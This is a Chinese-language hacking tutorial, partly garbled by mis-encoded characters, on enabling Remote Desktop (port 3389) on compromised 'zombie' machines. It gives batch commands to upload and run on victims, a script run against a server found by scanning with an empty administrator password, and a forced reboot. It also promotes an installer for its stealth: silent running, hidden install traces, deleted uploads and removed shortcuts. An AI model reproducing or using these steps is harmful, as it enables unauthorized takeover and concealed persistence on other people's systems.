怎么樣開3389端口，這里我把他們總結(jié)一下，很全面,希望對你有用:
1，打開記事本，編輯內(nèi)容如下：
echo [Components] > c:\sql
echo TSEnable = on >> c:\sql
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
編輯好后存為BAT文件，上傳至肉雞，執(zhí)行。這里值得注意的是要確定winnt是否在c盤，如果在其他盤則需要改動。
2 (對xp\2000都有效) 腳本文件 本地開3389 工具:rots1.05
使用方法：
在命令行方式下使用windows自帶的腳本宿主程序cscript.exe調(diào)用腳本，例如：
c:\>cscript ROTS.vbs <目標(biāo)IP> <用戶名> <密碼> [服務(wù)端口] [自動重起選項]
服務(wù)端口： 設(shè)置終端服務(wù)的服務(wù)端口。默認是3389。
自動重起選項： 使用/r表示安裝完成后自動重起目標(biāo)使設(shè)置生效。
使用/fr表示強制重起目標(biāo)。（如果/r不行，可以試試這個）
使用此參數(shù)時，端口設(shè)置不能忽略。
比如掃描到了一個有NT弱口令的服務(wù)器，IP地址是222.222.222.222，管理員帳戶是administrator，密碼為空
運行CMD（2000下的DOS），我們給它開終端！
命令如下！
cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr
上面的命令應(yīng)該可以理解吧？cscript reg.vbe這是命令，后面的是IP，然后是管理員帳戶，接這是密碼，因為222.222.222.222 這臺服務(wù)器的管理員密碼是空的，那就用雙引號表示為空，再后面是端口，你可以任意設(shè)置終端的端口，/fr是重啟命令（強制重啟，一般我都用這個，你也可以/r，這是普通重啟）
腳本會判斷目標(biāo)系統(tǒng)類型，如果不是server及以上版本，就會提示你是否要取消。
因為pro版不能安裝終端服務(wù)。
如果你確信腳本判斷錯誤，就繼續(xù)安裝好了。
如果要對本地使用，IP地址為127.0.0.1或者一個點（用.表示），用戶名和密碼都為空（用""表示）。
腳本訪問的目標(biāo)的135端口，如果目標(biāo)135端口未開放，或者WMI服務(wù)關(guān)閉，那么腳本就沒用了。
3，3389自動安裝程序-djshao正式版5.0
說明：
解壓djshao5.0.zip,用你的隨便什么方法把把解壓出來的djxyxs.exe上傳到肉雞的c:\winnt\temp下，然后進入c:\winnt\temp目錄執(zhí)行djxyxs.exe解壓縮文件，然后再執(zhí)行解壓縮出來的azzd.exe文件，等一會肉雞會自動重啟！重啟后會出現(xiàn)終端服務(wù)！
特點：1、不用修改注冊表的安裝路徑，注冊表會自動修改，安裝完后會自動恢復(fù)到原來的安裝路徑，2、在后臺安靜模式運行，就算肉雞旁有人也沒有關(guān)系！3、在添加和刪除中看不出終端服務(wù)被安裝的痕跡，也就是啟動終端前不會打鉤，4、不會在肉雞上留下你的上傳文件，在安裝完終端服務(wù)后會會自動刪除你上傳到c:\winnt\temp下的任何文件！5、不管肉雞的winnt裝在什么盤上都無所謂！6、安裝完終端后會刪除在管理工具中的終端快捷圖標(biāo)！7、在沒有安裝終端前，終端服務(wù)是被禁止的！安裝終端后，終端服務(wù)被改為自動！但是如果在安裝前終端服務(wù)是手動！安裝后就可能還是手動！等重啟后就不會打開服務(wù)！所以在軟件中加了sc指令，等安裝完后，不管終端服務(wù)是禁止還是手動還是自動，全部改為自動。8、自動檢測肉雞是不是服務(wù)器版，如果不是刪除原文件，不執(zhí)行安裝，如果是服務(wù)器版就執(zhí)行安裝！9、支持中日韓繁四個版本的win2000服務(wù)器版！
5，DameWare NT Utilities 3.66.0.0 注冊版
安裝注冊完畢后輸入對方IP用戶名密碼，等待出現(xiàn)是否安裝的對話框點是。
復(fù)制啟動后出現(xiàn)對方桌面。
在對方桌面進入控制面版，點添加或刪除程序。進入后點添加/刪除windows組件，找到終端服務(wù)，點際進入后在啟動終端服務(wù)上打上勾。確定自動提示重起，重起后OK
